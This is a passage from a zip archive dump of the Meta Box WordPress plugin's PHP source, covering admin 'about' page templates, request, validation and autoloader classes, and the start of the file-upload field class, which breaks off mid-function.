				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 1184v192q0 13-9.5 22.5t-22.5 9.5h-1376v192q0 13-9.5 22.5t-22.5 9.5q-12 0-24-10l-319-320q-9-9-9-22 0-14 9-23l320-320q9-9 23-9 13 0 22.5 9.5t9.5 22.5v192h1376q13 0 22.5 9.5t9.5 22.5zm0-544q0 14-9 23l-320 320q-9 9-23 9-13 0-22.5-9.5t-9.5-22.5v-192h-1376q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1376v-192q0-14 9-23t23-9q12 0 24 10l319 319q9 9 9 23z" /></svg>
				<div class="extension-info">
					<h3>Meta Box Conditional Logic</h3>
					<p><?php esc_html_e( 'Control the visibility of meta boxes and fields or even HTML elements with ease.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/meta-box-conditional-logic/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 2048 1792" xmlns="http://www.w3.org/2000/svg"><path d="M657 896q-162 5-265 128h-134q-82 0-138-40.5t-56-118.5q0-353 124-353 6 0 43.5 21t97.5 42.5 119 21.5q67 0 133-23-5 37-5 66 0 139 81 256zm1071 637q0 120-73 189.5t-194 69.5h-874q-121 0-194-69.5t-73-189.5q0-53 3.5-103.5t14-109 26.5-108.5 43-97.5 62-81 85.5-53.5 111.5-20q10 0 43 21.5t73 48 107 48 135 21.5 135-21.5 107-48 73-48 43-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-1024-1277q0 106-75 181t-181 75-181-75-75-181 75-181 181-75 181 75 75 181zm704 384q0 159-112.5 271.5t-271.5 112.5-271.5-112.5-112.5-271.5 112.5-271.5 271.5-112.5 271.5 112.5 112.5 271.5zm576 225q0 78-56 118.5t-138 40.5h-134q-103-123-265-128 81-117 81-256 0-29-5-66 66 23 133 23 59 0 119-21.5t97.5-42.5 43.5-21q124 0 124 353zm-128-609q0 106-75 181t-181 75-181-75-75-181 75-181 181-75 181 75 75 181z" /></svg>
				<div class="extension-info">
					<h3>MB User Profile</h3>
					<p><?php esc_html_e( 'Create register, login and edit user profile forms in the frontend. Embed everywhere with shortcodes.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-user-profile/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M381 1620q0 80-54.5 126t-135.5 46q-106 0-172-66l57-88q49 45 106 45 29 0 50.5-14.5t21.5-42.5q0-64-105-56l-26-56q8-10 32.5-43.5t42.5-54 37-38.5v-1q-16 0-48.5 1t-48.5 1v53h-106v-152h333v88l-95 115q51 12 81 49t30 88zm2-627v159h-362q-6-36-6-54 0-51 23.5-93t56.5-68 66-47.5 56.5-43.5 23.5-45q0-25-14.5-38.5t-39.5-13.5q-46 0-81 58l-85-59q24-51 71.5-79.5t105.5-28.5q73 0 123 41.5t50 112.5q0 50-34 91.5t-75 64.5-75.5 50.5-35.5 52.5h127v-60h105zm1409 319v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-14 9-23t23-9h1216q13 0 22.5 9.5t9.5 22.5zm-1408-899v99h-335v-99h107q0-41 .5-121.5t.5-121.5v-12h-2q-8 17-50 54l-71-76 136-127h106v404h108zm1408 387v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-14 9-23t23-9h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5t-22.5 9.5h-1216q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5z" /></svg>
				<div class="extension-info">
					<h3>MB Frontend Submission</h3>
					<p><?php esc_html_e( 'Create frontend forms for users to submit custom content. Embed everywhere with shortcode.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-frontend-submission/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M576 1376v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm0-384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm-512-768v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm-512-768v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm512 384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm0-384v-192q0-14-9-23t-23-9h-320q-14 0-23 9t-9 23v192q0 14 9 23t23 9h320q14 0 23-9t9-23zm128-320v1088q0 66-47 113t-113 47h-1344q-66 0-113-47t-47-113v-1088q0-66 47-113t113-47h1344q66 0 113 47t47 113z" /></svg>
				<div class="extension-info">
					<h3>MB Custom Table</h3>
					<p><?php esc_html_e( 'Save custom fields data to custom table. Reduce database size and increase performance.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-custom-table/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Learn More', 'meta-box' ); ?></a>
			</div>
		</div>
		<div class="extension">
			<div class="extension-inner">
				<svg viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 1184v192q0 13-9.5 22.5t-22.5 9.5h-1376v192q0 13-9.5 22.5t-22.5 9.5q-12 0-24-10l-319-320q-9-9-9-22 0-14 9-23l320-320q9-9 23-9 13 0 22.5 9.5t9.5 22.5v192h1376q13 0 22.5 9.5t9.5 22.5zm0-544q0 14-9 23l-320 320q-9 9-23 9-13 0-22.5-9.5t-9.5-22.5v-192h-1376q-13 0-22.5-9.5t-9.5-22.5v-192q0-13 9.5-22.5t22.5-9.5h1376v-192q0-14 9-23t23-9q12 0 24 10l319 319q9 9 9 23z" /></svg>
				<div class="extension-info">
					<h3>MB Relationships</h3>
					<p><?php esc_html_e( 'Create many-to-many relationships between posts, terms and users.', 'meta-box' ); ?></p>
				</div>
			</div>
			<div class="extension-action">
				<a class="button" target="_blank" href="https://metabox.io/plugins/mb-relationships/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Free Download', 'meta-box' ); ?></a>
			</div>
		</div>
	</div>
	<a href="https://metabox.io/plugins/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'View all extensions', 'meta-box' ); ?> &rarr;</a>
</div>
PK     0w\Y  Y  =  dashboard/lib/meta-box/inc/about/sections/getting-started.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="getting-started" class="gt-tab-pane gt-is-active">
	<div class="two">
		<div class="col">
			<h3><?php esc_html_e( 'Getting Started With Online Generator', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'Online Generator is a free tool to help you create and set up custom fields using a simple, friendly user interface. With it, you can add fields, set options and generate needed code that\'s ready to copy and paste.', 'meta-box' ); ?></p>

			<a target="_blank" class="screenshot" href="https://metabox.io/online-generator/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><img src="<?php echo esc_url( RWMB_URL . 'inc/about/images/online-generator.png' ); ?>" alt="<?php esc_attr_e( 'online generator', 'meta-box' ); ?>"></a>

			<p><a class="button" target="_blank" href="https://metabox.io/online-generator/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Go to Online Generator', 'meta-box' ); ?></a></p>
		</div>

		<div class="col">
			<h3><?php esc_html_e( 'Extensions', 'meta-box' ); ?></h3>
			<p><?php esc_html_e( 'Wanna see more features that transform your WordPress website into a powerful CMS? Check out some extensions below:', 'meta-box' ); ?><p>
			<ul>
				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-builder/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Builder', 'meta-box' ); ?></a> - <?php esc_html_e( 'Build meta boxes and fields with UI.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-group/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Group', 'meta-box' ); ?></a> - <?php esc_html_e( 'Organize fields into repeatable groups.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/meta-box-conditional-logic/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Meta Box Conditional Logic', 'meta-box' ); ?></a> - <?php esc_html_e( 'Control the visibility of fields.', 'meta-box' ); ?></li>
				<li><a target="_blank" href="https://metabox.io/plugins/mb-settings-page/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'MB Settings Page', 'meta-box' ); ?></a> - <?php esc_html_e( 'Create settings pages/Customizer options.', 'meta-box' ); ?></li>
			</ul>

			<div class="youtube-video-container">
				<iframe width="560" height="315" src="https://www.youtube.com/embed/M0nEF7b0woU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
			</div>
			<p><a class="button" target="_blank" href="https://metabox.io/plugins/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'More Extensions', 'meta-box' ); ?></a></p>
		</div>
	</div>
</div>
PK     0w\U    5  dashboard/lib/meta-box/inc/about/sections/upgrade.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="upgrade">
	<h3><span class="dashicons dashicons-awards"></span> <?php esc_html_e( 'Upgrade to Meta Box PRO', 'meta-box' ); ?></h3>
	<p><?php esc_html_e( 'Please upgrade to the PRO plan to unlock more awesome features.', 'meta-box' ); ?></p>
	<ul>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create custom fields with drag-n-drop interface - no coding knowledge required!', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Add custom fields to taxonomies or user profile.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create custom settings pages.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Create frontend submission forms.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'Save custom fields in custom tables.', 'meta-box' ); ?></li>
		<li><svg class="icon"><use xlink:href="#checkmark-outline"></use></svg><?php esc_html_e( 'And much more!', 'meta-box' ); ?></li>
	</ul>
	<a class="button button-primary" target="_blank" href="https://metabox.io/pricing/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Get Meta Box PRO now', 'meta-box' ); ?></a>
</div>
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
	<symbol id="checkmark-outline" viewBox="0 0 20 20">
		<path d="M2.93 17.07A10 10 0 1 1 17.07 2.93 10 10 0 0 1 2.93 17.07zm12.73-1.41A8 8 0 1 0 4.34 4.34a8 8 0 0 0 11.32 11.32zM6.7 9.29L9 11.6l4.3-4.3 1.4 1.42L9 14.4l-3.7-3.7 1.4-1.42z"/>
	</symbol>
</svg>
PK     0w\3  3  4  dashboard/lib/meta-box/inc/about/sections/review.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="postbox">
	<h3 class="hndle">
		<span><?php esc_html_e( 'Write a review for Meta Box', 'meta-box' ) ?></span>
	</h3>
	<div class="inside">
		<p><?php esc_html_e( 'If you like Meta Box, please write a review on WordPress.org to help us spread the word. We really appreciate that!', 'meta-box' ) ?></p>
		<p><a href="https://wordpress.org/support/plugin/meta-box/reviews/?filter=5" class="button" target="_blank" rel="noopenner noreferrer"><?php esc_html_e( 'Write a review', 'meta-box' ) ?></a></p>
	</div>
</div>
PK     0w\j
  
  A  dashboard/lib/meta-box/inc/about/sections/getting-started-pro.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div id="getting-started" class="gt-tab-pane gt-is-active">
	<p class="about-description"><?php esc_html_e( 'Please follow this video tutorial to get started with Meta Box and extensions:', 'meta-box' ); ?></p>
	<div class="youtube-video-container">
		<iframe width="560" height="315" src="https://www.youtube.com/embed/M0nEF7b0woU" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
	</div>
	<h3 class="tutorial"><a href="https://docs.metabox.io/tutorials/" target="_blank"><?php esc_html_e( 'Tutorials', 'meta-box' ) ?></a></h3>
	<p class="about-description"><?php esc_html_e( "We've made bunches of tutorials that come with videos, let's take a look to have detailed guides to create custom fields and apply them in real cases.", 'meta-box' ); ?></p>
	<div class="tutorial-items">
		<a href="https://docs.metabox.io/tutorials/beginners/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Beginners', 'meta-box' ); ?><p><?php esc_html_e( 'Let’s start with some basic practices with Meta Box.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/case-studies/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Case Studies', 'meta-box' ); ?><p><?php esc_html_e( 'See how to use Meta Box in the real case studies with comprehensive tutorials.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/general-guide/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'General Guide', 'meta-box' ); ?><p><?php esc_html_e( 'See how to use Meta box in common tasks.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/extensions/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Extensions', 'meta-box' ); ?><p><?php esc_html_e( 'Learn about Meta Box extensions, what features they offer and how to use them.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/builders/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'Page Builders', 'meta-box' ); ?><p><?php esc_html_e( 'Tutorials on combining Meta Box and other builders or tools for real case studies.', 'meta-box' ) ?></p></a>
		<a href="https://docs.metabox.io/tutorials/mb-views/" target="_blank"><span class="dashicons dashicons-text-page"></span><?php esc_html_e( 'MB Views', 'meta-box' ); ?><p><?php esc_html_e( 'Build front-end templates for WordPress without touching theme files. Support Twig and all field types.', 'meta-box' ) ?></p></a>
	</div>
</div>
PK     0w\I;    2  dashboard/lib/meta-box/inc/about/sections/tabs.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<h2 class="nav-tab-wrapper">
	<a href="#getting-started" class="nav-tab nav-tab-active"><?php esc_html_e( 'Getting Started', 'meta-box' ); ?></a>
	<?php do_action( 'rwmb_about_tabs' ); ?>
	<a href="#extensions" class="nav-tab"><?php esc_html_e( 'Extensions', 'meta-box' ); ?></a>
	<a href="#support" class="nav-tab"><?php esc_html_e( 'Support', 'meta-box' ); ?></a>
</h2>
PK     0w\"    6  dashboard/lib/meta-box/inc/about/sections/products.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<div class="postbox">
	<h3 class="hndle">
		<span><?php esc_html_e( 'Our WordPress Products', 'meta-box' ) ?></span>
	</h3>
	<div class="inside">
		<p><?php esc_html_e( 'Like this plugin? Check out our other WordPress products:', 'meta-box' ) ?></p>
		<p><a href="https://wpslimseo.com?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">Slim SEO</a> - <?php esc_html_e( 'Automated & fast SEO plugin for WordPress', 'meta-box' ) ?></p>
		<p><a href="https://wpslimseo.com/slim-seo-schema/?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">Slim SEO Schema</a> - <?php esc_html_e( 'The best schema plugin for WordPress', 'meta-box' ) ?></p>
		<p><a href="https://gretathemes.com?utm_source=WordPress&utm_medium=link&utm_campaign=meta-box" target="_blank" rel="noopenner noreferrer">GretaThemes</a> - <?php esc_html_e( 'Simple, elegant and clean WordPress themes', 'meta-box' ) ?></p>
	</div>
</div>
PK     0w\n=<    5  dashboard/lib/meta-box/inc/about/sections/welcome.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<h1>
	<?php
	$plugin_data = get_plugin_data( RWMB_DIR . 'meta-box.php', false, false );

	// Translators: %s - Plugin name.
	echo esc_html( sprintf( __( 'Welcome to %s', 'meta-box' ), $plugin_data['Name'] ) );
	?>
</h1>
<div class="about-text"><?php esc_html_e( 'Meta Box is a free Gutenberg and GDPR-compatible WordPress custom fields plugin and framework that makes quick work of customizing a website with—you guessed it—meta boxes and custom fields in WordPress. Follow the instruction below to get started!', 'meta-box' ); ?></div>
<a target="_blank" class="wp-badge" href="https://metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php echo esc_html( $plugin_data['Name'] ); ?></a>
<p class="about-buttons">
	<a target="_blank" class="button" href="https://docs.metabox.io?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Documentation', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="https://support.metabox.io/?utm_source=dashboard&utm_medium=link&utm_campaign=meta_box"><?php esc_html_e( 'Support', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="http://facebook.com/groups/metaboxusers"><?php esc_html_e( 'Facebook Group', 'meta-box' ); ?></a>
	<a target="_blank" class="button" href="https://www.youtube.com/c/MetaBoxWP"><?php esc_html_e( 'Youtube Channel', 'meta-box' ); ?></a>
</p>
PK     0w\ь    &  dashboard/lib/meta-box/inc/request.phpnu [        <?php
/**
 * A very simple request class that handles form inputs.
 * Based on the code of Symphony framework, (c) Fabien Potencier <fabien@symfony.com>
 *
 * @link https://github.com/laravel/framework/blob/6.x/src/Illuminate/Http/Request.php
 * @link https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/HttpFoundation/ParameterBag.php
 */
class RWMB_Request {
	private $get_data  = [];
	private $post_data = [];

	public function __construct() {
		// @codingStandardsIgnoreLine
		$this->get_data  = $_GET;
		// @codingStandardsIgnoreLine
		$this->post_data = $_POST;
	}

	public function set_get_data( array $data ) {
		$this->get_data = array_merge( $this->get_data, $data );
	}

	public function set_post_data( array $data ) {
		$this->post_data = array_merge( $this->post_data, $data );
	}

	public function get( string $name, $default = null ) {
		return $this->get_data[ $name ] ?? $default;
	}

	public function post( string $name, $default = null ) {
		return $this->post_data[ $name ] ?? $default;
	}

	/**
	 * Filter a GET parameter.
	 *
	 * @param string $name    Parameter name.
	 * @param int    $filter  FILTER_* constant.
	 * @param mixed  $options Filter options.
	 *
	 * @return mixed
	 */
	public function filter_get( string $name, $filter = FILTER_DEFAULT, $options = [] ) {
		$value = $this->get( $name );
		return filter_var( $value, $filter, $options );
	}

	/**
	 * Filter a POST parameter.
	 *
	 * @param string $name    Parameter name.
	 * @param int    $filter  FILTER_* constant.
	 * @param mixed  $options Filter options.
	 *
	 * @return mixed
	 */
	public function filter_post( string $name, $filter = FILTER_DEFAULT, $options = [] ) {
		$value = $this->post( $name );
		return filter_var( $value, $filter, $options );
	}
}
PK     0w\f    /  dashboard/lib/meta-box/inc/storage-registry.phpnu [        <?php
/**
 * Storage registry class
 */
class RWMB_Storage_Registry {
	protected $storages = [];

	/**
	 * Get storage instance.
	 *
	 * @param string $class_name Storage class name.
	 * @return RWMB_Storage_Interface
	 */
	public function get( $class_name ) {
		if ( empty( $this->storages[ $class_name ] ) ) {
			$this->storages[ $class_name ] = new $class_name();
		}

		return $this->storages[ $class_name ];
	}
}
PK     0w\p[
  [
  )  dashboard/lib/meta-box/inc/validation.phpnu [        <?php
/**
 * Validation module.
 */
class RWMB_Validation {
	public function __construct() {
		add_action( 'rwmb_after', [ $this, 'rules' ] );
		add_action( 'rwmb_enqueue_scripts', [ $this, 'enqueue' ] );
	}

	/**
	 * Output validation rules of each meta box.
	 * The rules are outputted in [data-validation] attribute of an hidden <script> and will be converted into JSON by JS.
	 */
	public function rules( RW_Meta_Box $meta_box ) {
		$settings = $meta_box->meta_box;
		if ( empty( $settings['validation'] ) ) {
			return;
		}

		$prefix     = $settings['prefix'] ?? ''; // Get field ID prefix from the builder.
		$fields     = $settings['fields'];
		$validation = $settings['validation'];
		$ids        = wp_list_pluck( $fields, 'id' ); // Don't use array_column() as it doesn't preserve keys.

		// Add prefix for validation rules.
		foreach ( $validation as &$rules ) {
			$rules = array_combine(
				array_map( function ( $key ) use ( $fields, $prefix, $ids ) {
					$id    = $prefix . $key;
					$index = array_search( $id, $ids, true );

					if ( $index === false ) {
						return $id;
					}

					$field = $fields[ $index ];

					if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) {
						return $field['clone'] ? $field['index_name'] : $field['input_name'];
					}

					return $id;
				}, array_keys( $rules ) ),
				$rules
			);
		}

		echo '<script type="text/html" class="rwmb-validation" data-validation="' . esc_attr( wp_json_encode( $validation ) ) . '"></script>';
	}

	public function enqueue() {
		wp_enqueue_script( 'jquery-validation', RWMB_JS_URL . 'validation/jquery.validate.js', [ 'jquery' ], '1.20.0', true );
		wp_enqueue_script( 'jquery-validation-additional-methods', RWMB_JS_URL . 'validation/additional-methods.js', [ 'jquery-validation' ], '1.20.0', true );
		wp_enqueue_script( 'rwmb-validation', RWMB_JS_URL . 'validation/validation.js', [ 'jquery-validation-additional-methods', 'rwmb' ], RWMB_VER, true );

		$locale       = determine_locale();
		$locale_short = substr( $locale, 0, 2 );
		$locale       = file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ? $locale : $locale_short;

		if ( file_exists( RWMB_DIR . "js/validation/i18n/messages_$locale.js" ) ) {
			wp_enqueue_script( 'jquery-validation-i18n', RWMB_JS_URL . "validation/i18n/messages_$locale.js", [ 'jquery-validation-additional-methods' ], '1.20.0', true );
		}

		RWMB_Helpers_Field::localize_script_once( 'rwmb-validation', 'rwmbValidation', [
			'message' => esc_html( apply_filters( 'rwmb_validation_message_string', __( 'Please correct the errors highlighted below and try again.', 'meta-box' ) ) ),
		] );
	}
}
PK     0w\8f    )  dashboard/lib/meta-box/inc/autoloader.phpnu [        <?php
/**
 * Autoload plugin classes.
 */
class RWMB_Autoloader {
	protected $dirs = [];

	/**
	 * Adds a base directory for a class name prefix and/or suffix.
	 *
	 * @param string $dir    A base directory for class files.
	 * @param string $prefix The class name prefix.
	 * @param string $suffix The class name suffix.
	 */
	public function add( string $dir, string $prefix, string $suffix = '' ) {
		$this->dirs[] = [
			'dir'    => trailingslashit( $dir ),
			'prefix' => $prefix,
			'suffix' => $suffix,
		];
	}

	public function register() {
		spl_autoload_register( [ $this, 'autoload' ] );
	}

	public function autoload( string $class_name ) {
		foreach ( $this->dirs as $dir ) {
			if (
				( $dir['prefix'] && ! str_starts_with( $class_name, $dir['prefix'] ) )
				|| ( $dir['suffix'] && ! str_ends_with( $class_name, $dir['suffix'] ) )
			) {
				continue;
			}
			$file = substr( $class_name, strlen( $dir['prefix'] ) );
			if ( $dir['suffix'] && strlen( $file ) > strlen( $dir['suffix'] ) ) {
				$file = substr( $file, 0, - strlen( $dir['suffix'] ) );
			}
			if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' ) ) {
				$file = mb_strtolower( str_replace( '_', '-', $file ), mb_detect_encoding( $file ) ) . '.php';
			} else {
				$file = strtolower( str_replace( '_', '-', $file ) ) . '.php';
			}
			$file = $dir['dir'] . $file;
			$this->require( $file );
		}
	}

	private function require( string $file ) {
		if ( file_exists( $file ) ) {
			require_once $file;
		}
	}
}
PK     0w\*>    3  dashboard/lib/meta-box/inc/fields/checkbox-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The checkbox list field which shows a list of choices and allow users to select multiple options.
 */
class RWMB_Checkbox_List_Field extends RWMB_Input_List_Field {
	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['multiple'] = true;
		$field             = parent::normalize( $field );

		return $field;
	}
}
PK     0w\S{P=  P=  *  dashboard/lib/meta-box/inc/fields/file.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The file upload file which allows users to upload files via the default HTML <input type="file">.
 */
class RWMB_File_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-file', RWMB_CSS_URL . 'file.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-file', 'path', RWMB_CSS_DIR . 'file.css' );
		wp_enqueue_script( 'rwmb-file', RWMB_JS_URL . 'file.js', [ 'jquery-ui-sortable' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-file', 'rwmbFile', [
			// Translators: %d is the number of files in singular form.
			'maxFileUploadsSingle' => __( 'You may only upload maximum %d file', 'meta-box' ),
			// Translators: %d is the number of files in plural form.
			'maxFileUploadsPlural' => __( 'You may only upload maximum %d files', 'meta-box' ),
		] );
	}

	public static function add_actions() {
		add_action( 'post_edit_form_tag', [ __CLASS__, 'post_edit_form_tag' ] );
		add_action( 'wp_ajax_rwmb_delete_file', [ __CLASS__, 'ajax_delete_file' ] );
	}

	public static function post_edit_form_tag() {
		echo ' enctype="multipart/form-data"';
	}

	public static function ajax_delete_file() {
		$request  = rwmb_request();
		$field_id = (string) $request->filter_post( 'field_id' );
		$type     = str_contains( $request->filter_post( 'field_name' ), '[' ) ? 'child' : 'top';
		check_ajax_referer( "rwmb-delete-file_{$field_id}" );

		if ( 'child' === $type ) {
			$field_group = explode( '[', $request->filter_post( 'field_name' ) );
			$field_id    = $field_group[0]; // This is top parent field_id.
		}
		// Make sure the file to delete is in the custom field.
		$attachment  = $request->post( 'attachment_id' );
		$object_id   = $request->filter_post( 'object_id' );
		$object_type = (string) $request->filter_post( 'object_type' );
		$field       = rwmb_get_field_settings( $field_id, [ 'object_type' => $object_type ], $object_id );
		$field_value = self::raw_meta( $object_id, $field );

		if ( ! self::in_array_r( $attachment, $field_value ) ) {
			wp_send_json_error( __( 'Error: Invalid file', 'meta-box' ) );
		}
		// Delete the file.
		if ( is_numeric( $attachment ) ) {
			$result = wp_delete_attachment( $attachment );
		} else {
			$path   = str_replace( home_url( '/' ), trailingslashit( ABSPATH ), $attachment );
			$result = unlink( $path );
		}

		if ( $result ) {
			wp_send_json_success();
		}
		wp_send_json_error( __( 'Error: Cannot delete file', 'meta-box' ) );
	}

	/**
	 * Recursively search needle in haystack
	 */
	protected static function in_array_r( $needle, $haystack, $strict = false ) : bool {
		foreach ( $haystack as $item ) {
			if ( ( $strict ? $item === $needle : $item == $needle ) || ( is_array( $item ) && self::in_array_r( $needle, $item, $strict ) ) ) {
					return true;
			}
		}
		return false;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$meta      = array_filter( (array) $meta );
		$i18n_more = apply_filters( 'rwmb_file_add_string', _x( '+ Add new file', 'file upload', 'meta-box' ), $field );
		$html      = self::get_uploaded_files( $meta, $field );

		// Show form upload.
		$attributes          = self::get_attributes( $field, $meta );
		$attributes['type']  = 'file';
		$attributes['name']  = "{$field['input_name']}[]";
		$attributes['class'] = 'rwmb-file-input';

		/*
		 * Use JavaScript to toggle 'required' attribute, because:
		 * - Field might already have value (uploaded files).
		 * - Be able to detect when uploading multiple files.
		 */
		if ( $attributes['required'] ) {
			$attributes['data-required'] = 1;
			$attributes['required']      = false;
		}

		// Upload new files.
		$html .= sprintf(
			'<div class="rwmb-file-new"><input %s>',
			self::render_attributes( $attributes )
		);
		if ( 1 !== $field['max_file_uploads'] ) {
			$html .= sprintf(
				'<a class="rwmb-file-add" href="#"><strong>%s</strong></a>',
				$i18n_more
			);
		}
		$html .= '</div>';

		$html .= sprintf(
			'<input type="hidden" class="rwmb-file-index" name="%s" value="%s">',
			$field['index_name'],
			$field['input_name']
		);

		return $html;
	}

	/**
	 * Get HTML for uploaded files.
	 *
	 * @param array $files List of uploaded files.
	 * @param array $field Field parameters.
	 * @return string
	 */
	protected static function get_uploaded_files( $files, $field ) {
		$delete_nonce = wp_create_nonce( "rwmb-delete-file_{$field['id']}" );
		$output       = '';

		foreach ( (array) $files as $k => $file ) {
			// Ignore deleted files (if users accidentally deleted files or uses `force_delete` without saving post).
			if ( get_attached_file( $file ) || $field['upload_dir'] ) {
				$output .= static::file_html( $file, $k, $field );
			}
		}

		return sprintf(
